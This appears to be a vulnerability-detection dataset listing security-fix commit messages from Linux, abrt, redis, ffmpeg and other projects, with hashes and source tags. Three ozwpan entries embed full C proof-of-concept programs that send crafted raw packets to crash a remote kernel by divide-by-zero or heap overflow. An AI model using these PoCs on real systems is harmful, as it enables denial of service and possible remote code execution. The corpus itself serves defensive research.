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bigvul_devign_cvefixes_neuralsentry_commits

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NeuralSentry 4

vhost: actually track log eventfd file While reviewing vhost log code, I found out that log_file is never set. Note: I haven't tested the change (QEMU doesn't use LOG_FD yet). Cc: stable@vger.kernel.org Signed-off-by: Marc-André Lureau <marcandre.lureau@redhat.com> Signed-off-by: Michael S. Tsirkin <mst@redhat.com>

7932c0bd7740f4cd2aa168d3ce0199e7af7d72d5

linux

bigvul

igd_desc_parse.c: fix buffer overflow

79cca974a4c2ab1199786732a67ff6d898051b78

miniupnp

bigvul

sg_start_req(): make sure that there's not too many elements in iovec unfortunately, allowing an arbitrary 16bit value means a possibility of overflow in the calculation of total number of pages in bio_map_user_iov() - we rely on there being no more than PAGE_SIZE members of sum in the first loop there. If that sum wraps around, we end up allocating too small array of pointers to pages and it's easy to overflow it in the second loop. X-Coverup: TINC (and there's no lumber cartel either) Cc: stable@vger.kernel.org # way, way back Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>

451a2886b6bf90e2fb378f7c46c655450fb96e81

linux

bigvul

path_openat(): fix double fput() path_openat() jumps to the wrong place after do_tmpfile() - it has already done path_cleanup() (as part of path_lookupat() called by do_tmpfile()), so doing that again can lead to double fput(). Cc: stable@vger.kernel.org # v3.11+ Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>

f15133df088ecadd141ea1907f2c96df67c729f0

linux

bigvul

md: use kzalloc() when bitmap is disabled In drivers/md/md.c get_bitmap_file() uses kmalloc() for creating a mdu_bitmap_file_t called "file". 5769 file = kmalloc(sizeof(*file), GFP_NOIO); 5770 if (!file) 5771 return -ENOMEM; This structure is copied to user space at the end of the function. 5786 if (err == 0 && 5787 copy_to_user(arg, file, sizeof(*file))) 5788 err = -EFAULT But if bitmap is disabled only the first byte of "file" is initialized with zero, so it's possible to read some bytes (up to 4095) of kernel space memory from user space. This is an information leak. 5775 /* bitmap disabled, zero the first byte and copy out */ 5776 if (!mddev->bitmap_info.file) 5777 file->pathname[0] = '\0'; Signed-off-by: Benjamin Randazzo <benjamin@randazzo.fr> Signed-off-by: NeilBrown <neilb@suse.com>

b6878d9e03043695dbf3fa1caa6dfc09db225b16

linux

bigvul

Check for out-of-bounds bencoded lengths before advancing buffer pointer

e809ea80e3527e32c40756eddd8b2ae44bc3af1a

bootstrap-dht

bigvul

udp: fix behavior of wrong checksums We have two problems in UDP stack related to bogus checksums : 1) We return -EAGAIN to application even if receive queue is not empty. This breaks applications using edge trigger epoll() 2) Under UDP flood, we can loop forever without yielding to other processes, potentially hanging the host, especially on non SMP. This patch is an attempt to make things better. We might in the future add extra support for rt applications wanting to better control time spent doing a recv() in a hostile environment. For example we could validate checksums before queuing packets in socket receive queue. Signed-off-by: Eric Dumazet <edumazet@google.com> Cc: Willem de Bruijn <willemb@google.com> Signed-off-by: David S. Miller <davem@davemloft.net>

beb39db59d14990e401e235faf66a6b9b31240b0

linux

bigvul

KVM: x86: work around infinite loop in microcode when #AC is delivered It was found that a guest can DoS a host by triggering an infinite stream of "alignment check" (#AC) exceptions. This causes the microcode to enter an infinite loop where the core never receives another interrupt. The host kernel panics pretty quickly due to the effects (CVE-2015-5307). Signed-off-by: Eric Northup <digitaleric@google.com> Cc: stable@vger.kernel.org Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>

54a20552e1eae07aa240fa370a0293e006b5faed

linux

bigvul

wizard: fix save users changes after reviewing dump dir files If the user reviewed the dump dir's files during reporting the crash, the changes was thrown away and original data was passed to the bugzilla bug report. report-gtk saves the first text view buffer and then reloads data from the reported problem directory, which causes that the changes made to those text views are thrown away. Function save_text_if_changed(), except of saving text, also reload the files from dump dir and update gui state from the dump dir. The commit moves the reloading and updating gui functions away from this function. Related to rhbz#1270235 Signed-off-by: Matej Habrnal <mhabrnal@redhat.com>

257578a23d1537a2d235aaa2b1488ee4f818e360

libreport

bigvul

ccpp: save abrt core files only to new files Prior this commit abrt-hook-ccpp saved a core file generated by a process running a program whose name starts with "abrt" in DUMP_LOCATION/$(basename program)-coredump. If the file was a symlink, the hook followed and wrote core file to the symlink's target. Addresses CVE-2015-5287 Signed-off-by: Jakub Filak <jfilak@redhat.com>

3c1b60cfa62d39e5fff5a53a5bc53dae189e740e

abrt

bigvul

sctp: fix race on protocol/netns initialization Consider sctp module is unloaded and is being requested because an user is creating a sctp socket. During initialization, sctp will add the new protocol type and then initialize pernet subsys: status = sctp_v4_protosw_init(); if (status) goto err_protosw_init; status = sctp_v6_protosw_init(); if (status) goto err_v6_protosw_init; status = register_pernet_subsys(&sctp_net_ops); The problem is that after those calls to sctp_v{4,6}_protosw_init(), it is possible for userspace to create SCTP sockets like if the module is already fully loaded. If that happens, one of the possible effects is that we will have readers for net->sctp.local_addr_list list earlier than expected and sctp_net_init() does not take precautions while dealing with that list, leading to a potential panic but not limited to that, as sctp_sock_init() will copy a bunch of blank/partially initialized values from net->sctp. The race happens like this: CPU 0 | CPU 1 socket() | __sock_create | socket() inet_create | __sock_create list_for_each_entry_rcu( | answer, &inetsw[sock->type], | list) { | inet_create /* no hits */ | if (unlikely(err)) { | ... | request_module() | /* socket creation is blocked | * the module is fully loaded | */ | sctp_init | sctp_v4_protosw_init | inet_register_protosw | list_add_rcu(&p->list, | last_perm); | | list_for_each_entry_rcu( | answer, &inetsw[sock->type], sctp_v6_protosw_init | list) { | /* hit, so assumes protocol | * is already loaded | */ | /* socket creation continues | * before netns is initialized | */ register_pernet_subsys | Simply inverting the initialization order between register_pernet_subsys() and sctp_v4_protosw_init() is not possible because register_pernet_subsys() will create a control sctp socket, so the protocol must be already visible by then. Deferring the socket creation to a work-queue is not good specially because we loose the ability to handle its errors. So, as suggested by Vlad, the fix is to split netns initialization in two moments: defaults and control socket, so that the defaults are already loaded by when we register the protocol, while control socket initialization is kept at the same moment it is today. Fixes: 4db67e808640 ("sctp: Make the address lists per network namespace") Signed-off-by: Vlad Yasevich <vyasevich@gmail.com> Signed-off-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com> Signed-off-by: David S. Miller <davem@davemloft.net>

8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4

linux

bigvul

a-a-i-d-to-abrt-cache: make own random temporary directory The set-user-ID wrapper must use own new temporary directory in order to avoid security issues with unpacking specially crafted debuginfo packages that might be used to create files or symlinks anywhere on the file system as the abrt user. Withot the forking code the temporary directory would remain on the filesystem in the case where all debuginfo data are already available. This is caused by the fact that the underlying libreport functionality accepts path to a desired temporary directory and creates it only if necessary. Otherwise, the directory is not touched at all. This commit addresses CVE-2015-5273 Signed-off-by: Jakub Filak <jfilak@redhat.com>

50ee8130fb4cd4ef1af7682a2c85dd99cb99424e

abrt

bigvul

USB: whiteheat: fix potential null-deref at probe Fix potential null-pointer dereference at probe by making sure that the required endpoints are present. The whiteheat driver assumes there are at least five pairs of bulk endpoints, of which the final pair is used for the "command port". An attempt to bind to an interface with fewer bulk endpoints would currently lead to an oops. Fixes CVE-2015-5257. Reported-by: Moein Ghasemzadeh <moein@istuary.com> Cc: stable <stable@vger.kernel.org> Signed-off-by: Johan Hovold <johan@kernel.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

cbb4be652d374f64661137756b8f357a1827d6a4

linux

bigvul

x86/nmi/64: Switch stacks on userspace NMI entry Returning to userspace is tricky: IRET can fail, and ESPFIX can rearrange the stack prior to IRET. The NMI nesting fixup relies on a precise stack layout and atomic IRET. Rather than trying to teach the NMI nesting fixup to handle ESPFIX and failed IRET, punt: run NMIs that came from user mode on the normal kernel stack. This will make some nested NMIs visible to C code, but the C code is okay with that. As a side effect, this should speed up perf: it eliminates an RDMSR when NMIs come from user mode. Signed-off-by: Andy Lutomirski <luto@kernel.org> Reviewed-by: Steven Rostedt <rostedt@goodmis.org> Reviewed-by: Borislav Petkov <bp@suse.de> Cc: Linus Torvalds <torvalds@linux-foundation.org> Cc: Peter Zijlstra <peterz@infradead.org> Cc: Thomas Gleixner <tglx@linutronix.de> Cc: stable@vger.kernel.org Signed-off-by: Ingo Molnar <mingo@kernel.org>

9b6e6a8334d56354853f9c255d1395c2ba570e0a

linux

bigvul

virtio-net: drop NETIF_F_FRAGLIST virtio declares support for NETIF_F_FRAGLIST, but assumes that there are at most MAX_SKB_FRAGS + 2 fragments which isn't always true with a fraglist. A longer fraglist in the skb will make the call to skb_to_sgvec overflow the sg array, leading to memory corruption. Drop NETIF_F_FRAGLIST so we only get what we can handle. Cc: Michael S. Tsirkin <mst@redhat.com> Signed-off-by: Jason Wang <jasowang@redhat.com> Acked-by: Michael S. Tsirkin <mst@redhat.com> Signed-off-by: David S. Miller <davem@davemloft.net>

48900cb6af4282fa0fb6ff4d72a81aa3dadb5c39

linux

bigvul

x86: bpf_jit: fix compilation of large bpf programs x86 has variable length encoding. x86 JIT compiler is trying to pick the shortest encoding for given bpf instruction. While doing so the jump targets are changing, so JIT is doing multiple passes over the program. Typical program needs 3 passes. Some very short programs converge with 2 passes. Large programs may need 4 or 5. But specially crafted bpf programs may hit the pass limit and if the program converges on the last iteration the JIT compiler will be producing an image full of 'int 3' insns. Fix this corner case by doing final iteration over bpf program. Fixes: 0a14842f5a3c ("net: filter: Just In Time compiler for x86-64") Reported-by: Daniel Borkmann <daniel@iogearbox.net> Signed-off-by: Alexei Starovoitov <ast@plumgrid.com> Tested-by: Daniel Borkmann <daniel@iogearbox.net> Acked-by: Daniel Borkmann <daniel@iogearbox.net> Signed-off-by: David S. Miller <davem@davemloft.net>

3f7352bf21f8fd7ba3e2fcef9488756f188e12be

linux

bigvul

kvm: x86: fix kvm_apic_has_events to check for NULL pointer Malicious (or egregiously buggy) userspace can trigger it, but it should never happen in normal operation. Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>

ce40cd3fc7fa40a6119e5fe6c0f2bc0eb4541009

linux

bigvul

Fix buffer overflow (pull request #81)

5e7b9ec688d79e7b16ec7064e1d37e8481a31e72

arduinojson

bigvul

Prevent a 1-byte underread of the input buffer if an odd-sized data block comes just before an uncompressed block header

18b6a2cc0b87536015bedd4f7763e6b02d5aa4f3

libmspack

bigvul

disable loading lua bytecode

fdf9d455098f54f7666c702ae464e6ea21e25411

redis

bigvul

udf: Check length of extended attributes and allocation descriptors Check length of extended attributes and allocation descriptors when loading inodes from disk. Otherwise corrupted filesystems could confuse the code and make the kernel oops. Reported-by: Carl Henrik Lunde <chlunde@ping.uio.no> CC: stable@vger.kernel.org Signed-off-by: Jan Kara <jack@suse.cz>

23b133bdc452aa441fcb9b82cbf6dd05cfd342d0

linux

bigvul

vhost/scsi: potential memory corruption This code in vhost_scsi_make_tpg() is confusing because we limit "tpgt" to UINT_MAX but the data type of "tpg->tport_tpgt" and that is a u16. I looked at the context and it turns out that in vhost_scsi_set_endpoint(), "tpg->tport_tpgt" is used as an offset into the vs_tpg[] array which has VHOST_SCSI_MAX_TARGET (256) elements so anything higher than 255 then it is invalid. I have made that the limit now. In vhost_scsi_send_evt() we mask away values higher than 255, but now that the limit has changed, we don't need the mask. Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com> Signed-off-by: Nicholas Bellinger <nab@linux-iscsi.org>

59c816c1f24df0204e01851431d3bab3eb76719c

linux

bigvul

ozwpan: divide-by-zero leading to panic A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> Acked-by: Dan Carpenter <dan.carpenter@oracle.com> Cc: stable <stable@vger.kernel.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

04bf464a5dfd9ade0dda918e44366c2c61fce80b

linux

bigvul

ozwpan: Use proper check to prevent heap overflow Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data. This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) - 2 }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(0), .total_size = htole16(0), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> Acked-by: Dan Carpenter <dan.carpenter@oracle.com> Cc: stable <stable@vger.kernel.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

d114b9fe78c8d6fc6e70808c2092aa307c36dc8e

linux

bigvul

ozwpan: Use unsigned ints to prevent heap overflow Using signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(2), .total_size = htole16(1), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> Acked-by: Dan Carpenter <dan.carpenter@oracle.com> Cc: stable <stable@vger.kernel.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c

linux

bigvul

Security fixes. - Don't overflow the small cs_start buffer (reported by Niels Thykier via the debian tracker (Jakub Wilk), found with a fuzzer ("American fuzzy lop")). - Cast arguments to <ctype.h> functions to unsigned char.

6b9d1aafcb61a3663c883663eb19ccdbfcde8d33

t1utils

bigvul

Avoid overflow in ljpeg_start().

983bda1f0fa5fa86884381208274198a620f006e

rawstudio

bigvul

ipv4: Missing sk_nulls_node_init() in ping_unhash(). If we don't do that, then the poison value is left in the ->pprev backlink. This can cause crashes if we do a disconnect, followed by a connect(). Tested-by: Linus Torvalds <torvalds@linux-foundation.org> Reported-by: Wen Xu <hotdog3645@gmail.com> Signed-off-by: David S. Miller <davem@davemloft.net>

a134f083e79fb4c3d0a925691e732c56911b4326

linux

bigvul

avcodec/h264: Clear delayed_pic on deallocation Fixes use of freed memory Fixes: case5_av_frame_copy_props.mp4 Found-by: Michal Zalewski <lcamtuf@coredump.cx> Signed-off-by: Michael Niedermayer <michaelni@gmx.at>

e8714f6f93d1a32f4e4655209960afcf4c185214

ffmpeg

bigvul

fs: take i_mutex during prepare_binprm for set[ug]id executables This prevents a race between chown() and execve(), where chowning a setuid-user binary to root would momentarily make the binary setuid root. This patch was mostly written by Linus Torvalds. Signed-off-by: Jann Horn <jann@thejh.net> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

8b01fc86b9f425899f8a3a8fc1c47d73c2c20543

linux

bigvul

crypto: aesni - fix memory usage in GCM decryption The kernel crypto API logic requires the caller to provide the length of (ciphertext || authentication tag) as cryptlen for the AEAD decryption operation. Thus, the cipher implementation must calculate the size of the plaintext output itself and cannot simply use cryptlen. The RFC4106 GCM decryption operation tries to overwrite cryptlen memory in req->dst. As the destination buffer for decryption only needs to hold the plaintext memory but cryptlen references the input buffer holding (ciphertext || authentication tag), the assumption of the destination buffer length in RFC4106 GCM operation leads to a too large size. This patch simply uses the already calculated plaintext size. In addition, this patch fixes the offset calculation of the AAD buffer pointer: as mentioned before, cryptlen already includes the size of the tag. Thus, the tag does not need to be added. With the addition, the AAD will be written beyond the already allocated buffer. Note, this fixes a kernel crash that can be triggered from user space via AF_ALG(aead) -- simply use the libkcapi test application from [1] and update it to use rfc4106-gcm-aes. Using [1], the changes were tested using CAVS vectors to demonstrate that the crypto operation still delivers the right results. [1] http://www.chronox.de/libkcapi.html CC: Tadeusz Struk <tadeusz.struk@intel.com> Cc: stable@vger.kernel.org Signed-off-by: Stephan Mueller <smueller@chronox.de> Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>

ccfe8c3f7e52ae83155cb038753f4c75b774ca8a

linux

bigvul

x86/nmi/64: Use DF to avoid userspace RSP confusing nested NMI detection We have a tricky bug in the nested NMI code: if we see RSP pointing to the NMI stack on NMI entry from kernel mode, we assume that we are executing a nested NMI. This isn't quite true. A malicious userspace program can point RSP at the NMI stack, issue SYSCALL, and arrange for an NMI to happen while RSP is still pointing at the NMI stack. Fix it with a sneaky trick. Set DF in the region of code that the RSP check is intended to detect. IRET will clear DF atomically. ( Note: other than paravirt, there's little need for all this complexity. We could check RIP instead of RSP. ) Signed-off-by: Andy Lutomirski <luto@kernel.org> Reviewed-by: Steven Rostedt <rostedt@goodmis.org> Cc: Borislav Petkov <bp@suse.de> Cc: Linus Torvalds <torvalds@linux-foundation.org> Cc: Peter Zijlstra <peterz@infradead.org> Cc: Thomas Gleixner <tglx@linutronix.de> Cc: stable@vger.kernel.org Signed-off-by: Ingo Molnar <mingo@kernel.org>

810bc075f78ff2c221536eb3008eac6a492dba2d

linux

bigvul

KVM: PIT: control word is write-only PIT control word (address 0x43) is write-only, reads are undefined. Cc: stable@kernel.org Signed-off-by: Marcelo Tosatti <mtosatti@redhat.com>

ee73f656a604d5aa9df86a97102e4e462dd79924

linux

bigvul

sctp: fix ASCONF list handling ->auto_asconf_splist is per namespace and mangled by functions like sctp_setsockopt_auto_asconf() which doesn't guarantee any serialization. Also, the call to inet_sk_copy_descendant() was backuping ->auto_asconf_list through the copy but was not honoring ->do_auto_asconf, which could lead to list corruption if it was different between both sockets. This commit thus fixes the list handling by using ->addr_wq_lock spinlock to protect the list. A special handling is done upon socket creation and destruction for that. Error handlig on sctp_init_sock() will never return an error after having initialized asconf, so sctp_destroy_sock() can be called without addrq_wq_lock. The lock now will be take on sctp_close_sock(), before locking the socket, so we don't do it in inverse order compared to sctp_addr_wq_timeout_handler(). Instead of taking the lock on sctp_sock_migrate() for copying and restoring the list values, it's preferred to avoid rewritting it by implementing sctp_copy_descendant(). Issue was found with a test application that kept flipping sysctl default_auto_asconf on and off, but one could trigger it by issuing simultaneous setsockopt() calls on multiple sockets or by creating/destroying sockets fast enough. This is only triggerable locally. Fixes: 9f7d653b67ae ("sctp: Add Auto-ASCONF support (core).") Reported-by: Ji Jianwen <jiji@redhat.com> Suggested-by: Neil Horman <nhorman@tuxdriver.com> Suggested-by: Hannes Frederic Sowa <hannes@stressinduktion.org> Acked-by: Hannes Frederic Sowa <hannes@stressinduktion.org> Signed-off-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com> 